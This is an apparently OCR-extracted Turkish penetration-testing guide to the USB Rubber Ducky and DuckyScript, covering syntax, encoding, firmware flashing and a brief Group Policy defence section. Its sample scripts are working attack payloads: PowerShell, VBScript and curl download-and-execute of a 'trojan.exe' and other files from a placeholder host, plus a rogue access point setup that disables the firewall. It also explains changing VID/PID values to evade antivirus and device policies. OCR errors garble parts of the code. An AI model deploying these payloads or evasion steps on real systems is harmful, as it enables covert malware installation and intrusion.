Programlanabilir USB HID Cihazlar ve
Pentestler’de Kullanimi

Insanlar Klavye kullanirlar
Ve Bilgisayarlar insanlara Guvenirler !!

Bu belge temel olarak USB HID cihazlarin, sizma testlerinde kullanimlarini ve korunma yéntemlerini
icermektedir.

Belge mumkin oldugu kadar kisa ve basit tutulmus ve en temel sekli ile USB HID cihazlarinin yapisini,
bu cihazlarin programlanmasini ve giivenlik denetimlerinde kullanimi igin gerekli rehberligi yapacak
sekilde hazirlanmigtir.

Belgenin yeni stirimlerine http://www.cehturkiye.com adresinden ulagabilirsiniz.

Belge Kamil BURLU tarafindan yazilmigtir ve yazarin ismine sadik kalmak kaydi ile belge izin
alinmaksizin her sekilde paylasilabilir ve dagitilabilir.

Her tlrlU geri bildirimleriniz igin root@cehturkiye.com adresine eposta génderiniz.



mailto:root@cehturkiye.com
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USB HID (Human Interface Devices) Sinifi

USB HID modern igletim sistemlerinde kullanilan usb donanimlar igin iletisimi saglayan standartlardir.
USB HID Sinifi bir gok tanimlanmig fonksiyondan olugur. Bu fonksiyonlar Donanim Ureticilerinin USB HID
sinif 6zelliklerine gére donanim Uretmelerine olanak saglamaktadir. USB HID Sinifi uyumlu donanimlar
icin strticiler modern igletim sistemlerinde (Android ve 10S dahil) bulunmakta ve bu donanimlar igin
herhangi bir striicli kurma ihtiyaci bulunmamaktadir.

Genelde Mouse, Klavye, yazilim koruma Dongle lari ve benzer bir cok donanim USB HID Standartlarina
uyarak hazirlanmaktadir.

USB HID API
USB HID icin API iki seviyede calismaktadir, USB ve Isletim sistemi seviyesinde.

Detayli Bilgi:

http://www.usb.org/developers/devclass_docs/HID1 11.pdf
http://www.usb.org/developers/hidpage/microhid/

USB HID Cihazlarin Pentestlerde kullanimi

USB HID cihazlar sisteme takildiklarinda herhangi bir strlici kurmaya gerek kalmadan sisteme istenilen
komutlari génderebilirler. Ornegin bir klavyenin takildiginda otomatik olarak kullanilmaya hazir duruma
gelmesi gibi. Hemen hemen tim igletim sistemleri USB HID standartlarinda yazilmig donanimlarin
herhangi bir yetki kontroll yapilmaksizin kullanilmasina olanak vermesi sebebiyle penetrasyon testleri
sirasinda hedef sisteme sizma amacl uygulamanin aktarilmasi yada hedef sistemden yetkisiz veri
aktarimiigin kullanilabilir.


http://www.google.com/url?q=http%3A%2F%2Fwww.usb.org%2Fdevelopers%2Fdevclass_docs%2FHID1_11.pdf&sa=D&sntz=1&usg=AFQjCNG5vDUN50wMYQO4sN3n_nGSIqA9Aw
http://www.google.com/url?q=http%3A%2F%2Fwww.usb.org%2Fdevelopers%2Fhidpage%2Fmicrohid%2F&sa=D&sntz=1&usg=AFQjCNFZZDVgNEFNVPGS2JRBJr6z7bMVZw
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USB Rubber Ducky klavye chipsetine sahip programlanabilir konsept bir donanimdir. Kolaylikla
programlanabilen USB Rubber Ducky ayni zamanda da icinde bulunan micro sd kart ile sisteme veri
aktarabilme 6zelligine de sahiptir.

Asag@idaki linkten temin edilebilir.

https://hakshop.myshopify.com/collections/usb-rubber-ducky

Programlama (DuckyScript)
USB Rubber Ducky nin programlanmasi icin kullanilan dile verilen isim DuckyScript tir. Herhangi bir text
editoru ile yazilabilir.(nano, VI, gedit, notepad vs..)

Sozdizimi
Basit bir sdzdizimine sahiptir, Tiim komutlar bir satirda ve bliytk harfler kullanilarak yazilmalidir.

Komutlar ve kullanimlari
REM
REM ile baglayan satir islenmez REM yorum "comment" ifade etmek igin kullanilir.

DEFAULT_DELAY ve DEFAULTDELAY
Milisaniye olarak tum komutlar arasinda bir bekleme siiresi tanimlamayi saglar. Agagidaki
ornek kullanimda her komut satiri arasinda 1 saniye bekleme tanimlanmigtir.

Orn:

DEFAULT_DELAY 1000
GUIr

STRING cmd

ENTER

DELAY
Milisaniye olarak Kullanildigi anda belirtilen stire kadar durmayi sadlar. Bir 6nceki komutun
tamamlanmasini beklemek igin uygundur. 1 ile 10000 arasi deder alir. Birden gok sefer


https://www.google.com/url?q=https%3A%2F%2Fhakshop.myshopify.com%2Fcollections%2Fusb-rubber-ducky&sa=D&sntz=1&usg=AFQjCNHGxmLZnKEgWI3LDrb_EdjRXvp1Yw

kullanilarak bekleme siireleri arttirilabilir.

STRING
Yazilan metinlerin islenmesini saglayan komuttur. tek ve ¢oklu karakter kabul edebilir.
A Komut ” Parametre A | STRING | a...zA...Z0.91...) ~+=_-“":;<,>. ?/\ ve pipe |

WINDOWS ve GUI
Windows tusu ve sonrasinda yazilacak ifadeleri tanimlamak igin kullanilir. Asagidaki 6rnekte
Windows + r tusu ile "¢ahistir(run)" agilmigtir.

Orn:
GUIr

MENU ve APP
Shift + F10 tusglarini emule eder, sag klik menusune ulagmayi sadlar.

Orn:
GuUld
MENU
STRING v
STRING d

SHIFT

Shift komutunu sisteme gondermeyi saglar , arkasindan ek komutlar kullanilabilir.

SHIFT | DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW,
DOWNARROW, LEFTARROW, RIGHTARROW, TAB

ALT
ALT komutunu sisteme gondermeyi saglar, arkasindan ek komutlar kullanilabilir.
ALT |END, ESC, ESCAPE, F1...F12, Single Char, SPACE, TAB |

Orn:

GUIr

DELAY 50

STRING notepad.exe
ENTER

DELAY 100

STRING Hello World
ALT f

STRING s

CONTROL ve CTRL
CTRL komutunu sisteme géndermeyi sadlar, arkasindan ek komutlar kullanilabilir.
CONTROL | BREAK, PAUSE, F1...F12, ESCAPE, ESC

Diger Komutlar
BREAK ve PAUSE | CAPSLOCK | DELETE | END | ESC ve ESCAPE | HOME | INSERT | NUMLOCK
| PAGEUP | PAGEDOWN | PRINTSCREEN | SCROLLLOCK | SPACE | TAB



Derlemek

Yazilan komutlar hex olarak derlenir ve Usb Rubber Ducky i¢cinde bulunan Micro SD kart icine
"inject.bin" adi ile kok dizine kaydedilmelidir. Derleme igin duckencoder kullanilabilir ve agagdidaki
adresten indirilebilir,

https://code.google.com/p/ducky-decode/downloads/detail?name=DuckEncoder_ 2.6.3.zip&can=28&
a=

Duckencoder
Yazilan Scriptlerin derlenmesini saglayan Java ile hazirlanmig bir aractir.

Kullanimi

Windows:
duckencode -i [input.txt]
duckencode -i [input.txt] -o [ inject.bin]

Linux:
java -jar duckencoder.jar -i script.txt -o /media/microsdcard/inject.bin

Hata Tespiti:
java -jar encoder.jar --debug -i input.txt


https://code.google.com/p/ducky-decode/downloads/detail?name=DuckEncoder_2.6.3.zip&can=2&q=
https://code.google.com/p/ducky-decode/downloads/detail?name=DuckEncoder_2.6.3.zip&can=2&q=

Ornek Scriptler
Yazilan scriptler igletim sistemine ve igletim sisteminin klavye diline uygun hazirlanmali ve benzer
ozelliklere sahip igletim sisteminde test edilmelidir.

* USB Rubber Ducky Tiirkce dil deste@ine sahip degildir. Bu ylizden agagida 6rneklenen scriptler US
Klavye dizilimine gore hazirlanmistir. Hedef sistem US klavye ile ¢caligmali yada scriptlerdeki
karakterler TR Klavye diizenine denk gelen karakterler ile de@istirilmelidir. Yakinda TR klavye destegi
de USB Rubber Ducky e eklenecektir.

Windows - Caligabilirlidin test edilmesi
Asa@idaki script calistiginda Baslat > Calistir > Notepad > Merhaba Dunya!!! metnini yazacaktir.
Scriptlerin galigtigini ve diizglin encode edildigini gorintilemek igin kullanilabilir.

DELAY 3000

GUIR

DELAY 500

STRING notepad

DELAY 500

ENTER

DELAY 750

STRING Merhaba Dunyal!!
ENTER

Yukaridaki metin bir text belgesi icerigine yazilarak duckyencoder ile "inject.bin" uzantisi ve adi ile
encode edilerek USB Rubber Duck icinde bulunan SD kart icine kdk e kaydedilmelidir. herhangi bir
Windows igletim sistemine takilarak test edilebilir.



Dowload & Caligtir - Powershell ile

DELAY 3000

GUIr

DELAY 100

STRING powershell (new-object
System.Net.WebClient).DownloadFile('http://site.com/aa.exe','%TEMP%\bb.exe');
DELAY 100

STRING Start-Process "% TEMP%\bb.exe"

ENTER

Download & Caligtir - CMD ile

ESCAPE

CONTROL ESCAPE

DELAY 400

STRING cmd

DELAY 400

ENTER

DELAY 400

STRING copy con download.vbs

ENTER

STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
ENTER

STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):0bjXMLHTTP.open "GET", args(0),
false:0bjXMLHTTP.send()

ENTER

STRING If objXMLHTTP.Status = 200 Then

ENTER

STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
ENTER

STRING objADOStream.Type = 1:0bjADOStream.Write
objXMLHTTP.ResponseBody:objADOStream.Position =0

ENTER

STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then
objFSO.DeleteFile a

ENTER

STRING objADOStream.SaveToFile a:0bjADOStream.Close:Set objADOStream = Nothing
ENTER

STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing

ENTER

CTRL z

ENTER

STRING cscript download.vbs http://www.site.com

ENTER

STRING trojan.exe

ENTER

STRING exit



ENTER

Wireless erigim Noktasi Baglantisi
CONTROL ESCAPE

DELAY 200

STRING cmd

DELAY 200

MENU

DELAY 100

STRING a

DELAY 100

LEFTARROW

ENTER

DELAY 200

STRING netsh wlan set hostednetwork mode=allow ssid=fakeap key=sifre
ENTER

DELAY 100

STRING netsh wlan start hostednetwork
ENTER

DELAY 100

STRING netsh firewall set opmode disable
ENTER

STRING exit

ENTER

0S X Download & Caligtir
DELAY 1000

COMMAND SPACE

DELAY 800

STRING Terminal

DELAY 500

ENTER

DELAY 500

STRING curl http://www.site.com/script.py > file.py
ENTER

DELAY 1000

STRING python file.py
ENTER

Ornek Scriptler & Payloadlar
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Simple Payload Generator: https://code.google.com/p/simple-ducky-payload-generator/
Duck Toolkit : http://www.ducktoolkit.com/Home.jsp



https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fhak5darren%2FUSB-Rubber-Ducky%2Fwiki%2FPayloads&sa=D&sntz=1&usg=AFQjCNGIWo3cCzaJxOWui8438AQxxJPwmQ
https://code.google.com/p/simple-ducky-payload-generator/
http://www.google.com/url?q=http%3A%2F%2Fwww.ducktoolkit.com%2FHome.jsp&sa=D&sntz=1&usg=AFQjCNEo9xE_wLTqET94uw5u-eP2pqh2XQ

Firmware Update
USB Rubber Ducky bir ka¢ modda galigsabilmektedir.

e Duck Mod
Orjinal Firmware , tiim igletim sistemlerinde desteklenen tek bir script ¢aligtirabilen mod.

e FatDuck Mod

USB Depolama modu Script ¢alistiramaz fakat politikalar ile belirlenen cihaz VID ve HID de@erlerinin
deg@ismesine izin verdiginden USB Koruma uygulamalarini agmayi saglar.

e Naked Duck

Birden fazla script galigtirabilme 6zelligine sahiptir, fakat Gsttinde bulunan ufak butona basilarak diger
scriptlere gegmesi saglanir. Bu yizden hedef sisteme ciplak olarak takilmalidir.

e Twin Duck

HID ve Depolama aygiti ayni zamanda ¢aligir ve scriptlerin verileri usb siirlicliye yada usb siiriiciden
atmalari saglanir.

Firmwarelarin elde edilece@i adres:
https://code.google.com/p/ducky-decode/downloads/list

Firmware Update

Linux ile USB Rubber Ducky nin firmwarinin glincellenmesi ve farkli 6zelliklerde kullanimi saglanmak
isteniyor ise dfu-programmer pakedine ihtiyag vardir, e§er depolarda yok ise agagdidaki linkten
indirilerek kurulabilir.

Dfu-Programmer:
http://downloads.sourceforge.net/project/dfu-programmer/dfu-programmer/0.5.4/dfu-programm
er-0.5.4.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fdfu-programmer%2F%3Fsource
%3DdIp&ts=1354995624&use_mirror=netcologne

Kurulumu

tar —xzf dfu-programmer-0.5.4.tgz
cd dfu-programmer-0.5.4
./configure

make

sudo make install


https://code.google.com/p/ducky-decode/downloads/list
http://www.google.com/url?q=http%3A%2F%2Fdownloads.sourceforge.net%2Fproject%2Fdfu-programmer%2Fdfu-programmer%2F0.5.4%2Fdfu-programmer-0.5.4.tar.gz%3Fr%3Dhttp%253A%252F%252Fsourceforge.net%252Fprojects%252Fdfu-programmer%252F%253Fsource%253Ddlp%26ts%3D1354995624%26use_mirror%3Dnetcologne&sa=D&sntz=1&usg=AFQjCNGromxJBXFC1_o4UEmGxaCJgvYiyg
http://www.google.com/url?q=http%3A%2F%2Fdownloads.sourceforge.net%2Fproject%2Fdfu-programmer%2Fdfu-programmer%2F0.5.4%2Fdfu-programmer-0.5.4.tar.gz%3Fr%3Dhttp%253A%252F%252Fsourceforge.net%252Fprojects%252Fdfu-programmer%252F%253Fsource%253Ddlp%26ts%3D1354995624%26use_mirror%3Dnetcologne&sa=D&sntz=1&usg=AFQjCNGromxJBXFC1_o4UEmGxaCJgvYiyg
http://www.google.com/url?q=http%3A%2F%2Fdownloads.sourceforge.net%2Fproject%2Fdfu-programmer%2Fdfu-programmer%2F0.5.4%2Fdfu-programmer-0.5.4.tar.gz%3Fr%3Dhttp%253A%252F%252Fsourceforge.net%252Fprojects%252Fdfu-programmer%252F%253Fsource%253Ddlp%26ts%3D1354995624%26use_mirror%3Dnetcologne&sa=D&sntz=1&usg=AFQjCNGromxJBXFC1_o4UEmGxaCJgvYiyg

Firmware Update Yapmak

Bu islem gerceklesmeden 6nce Usb Rubber Ducky lizerinde bulunan ufak tuga basilarak sisteme
takilmahdir. Linux

1. Varolan firmware i yedeklemek : dfu-programmer at32uc3b1256 dump >dump.bin

2. Resetlemek : dfu-programmer at32uc3b1256 reset ( Tekrar 1Sik yanip sbnmeye
baglayacaktir.)

3. Varloan Firmware In silinmesi : dfu-programmer at32uc3b1256 erase

4. Update Etmek : dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem
ducky-update.hex

5. Tekrar Resetlemek : dfu-programmer at32uc3b1256 reset

Yukaridaki 6rnekte Usb Rubber Ducky Twin Duck firmware ile update edilmigtir. (c_duck_v2.1.hex)

VID(Vendor ID) ve PID (Product ID) Deerlerinin De@igtirilmesi

Antivirs ve Policy kisitlamalarindan kurtulmak i¢in USB rubber Ducky nin VID ve PID deQerleri
degistirilerek taninmasi engellenebilir.

Varsayilan VID ve PID de@erleri : 03EB (VID) 2403 (PID) degerlerini kullanmaktadir. Firmware herhangi
bir hex editor ile aglarak yen VID ve PID de§erleri girilebilir. Fakat bu alanlara standart VID ve PID
degerleri diginda bir verinin girilmesi donanimin ¢alismasini bozacaktir. Bu ylizden asagidaki linkte
bulunan VID ve PID degerlerinden biri ile degistirilmelidir.

https://code.google.com/p/ducky-decode/wiki/Keyboard VID_PIDS

Versiyon 2 Firmware igin bu de@erlerin degistirilmesi sd card kék dizinde bulunan vidpid.bin dosyasinin
herhangi bir hex editoru ile agilarak degistiriimesi ile gerceklestirilebilir.
Linux Gzerinde aga@idaki sekilde bu de@erler degistirilebilir.

hexedit /media/Ducky/vidpid.bin
00000000 03 eb 24 03 [..S.]


https://code.google.com/p/ducky-decode/wiki/Keyboard_VID_PIDS

Korunma

Grup Policy ile uSB donanimlarin GUID de@erleri belirlenerek engellenebilir, fakat USB Rubber Ducky
VID ve PID de@erlerini degistirebilme 6zelli§ine sahiptir ve kolayca bu korumadan kurtulabilir, bununla
beraber engelleyebilmenin tek yolu Group Policy ile kurum icinde kullanilan donanimlarin belirlenmesi
ve sadece bu donanimlarin ¢aligmasini saglamak olabilir. Tabi bu da tim USB donanimlarin tanitiimasi
ve siklikla yeni girigler yapilmasi gibi bir yonetim zorlugu getirmekte.

ilgili Policy Ayarlari Asagidaki yolda bulunabilir

Computer Configuration->Administrative Templates->System->Device Installation->Device
Installation Restrictions

Korunma ile ilgili agagidaki makale yardimci olabilir.
http://www.irongeek.com/i.php?page=security/locking-down-windows-vista-and-windows-7-again
st-malicious-usb-devices



http://www.google.com/url?q=http%3A%2F%2Fwww.irongeek.com%2Fi.php%3Fpage%3Dsecurity%2Flocking-down-windows-vista-and-windows-7-against-malicious-usb-devices&sa=D&sntz=1&usg=AFQjCNE3y9ZyzD8od834xcQ1uHFp2O6sPQ
http://www.google.com/url?q=http%3A%2F%2Fwww.irongeek.com%2Fi.php%3Fpage%3Dsecurity%2Flocking-down-windows-vista-and-windows-7-against-malicious-usb-devices&sa=D&sntz=1&usg=AFQjCNE3y9ZyzD8od834xcQ1uHFp2O6sPQ

Kaynaklar

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript
http://hak5.org/

http://www.irongeek.com/
https://code.google.com/p/ducky-decode/downloads/list
http://en.wikipedia.org/wiki/USB_human_interface_device_class



https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fhak5darren%2FUSB-Rubber-Ducky%2Fwiki%2FPayloads&sa=D&sntz=1&usg=AFQjCNGIWo3cCzaJxOWui8438AQxxJPwmQ
https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fhak5darren%2FUSB-Rubber-Ducky%2Fwiki%2FDuckyscript&sa=D&sntz=1&usg=AFQjCNEiF7nGl3sT7dTspYSovwEO91Gw5A
http://www.google.com/url?q=http%3A%2F%2Fhak5.org%2F&sa=D&sntz=1&usg=AFQjCNGqVZ8XDwEGPXzsiebG4y4G-_kOjQ
http://www.google.com/url?q=http%3A%2F%2Fwww.irongeek.com%2F&sa=D&sntz=1&usg=AFQjCNF9MFQWr1wnbze5LPFTK1eexDaIcw
https://code.google.com/p/ducky-decode/downloads/list
http://www.google.com/url?q=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FUSB_human_interface_device_class&sa=D&sntz=1&usg=AFQjCNGJ8FXdtKdC5f35GxlecLjzsdh1hQ

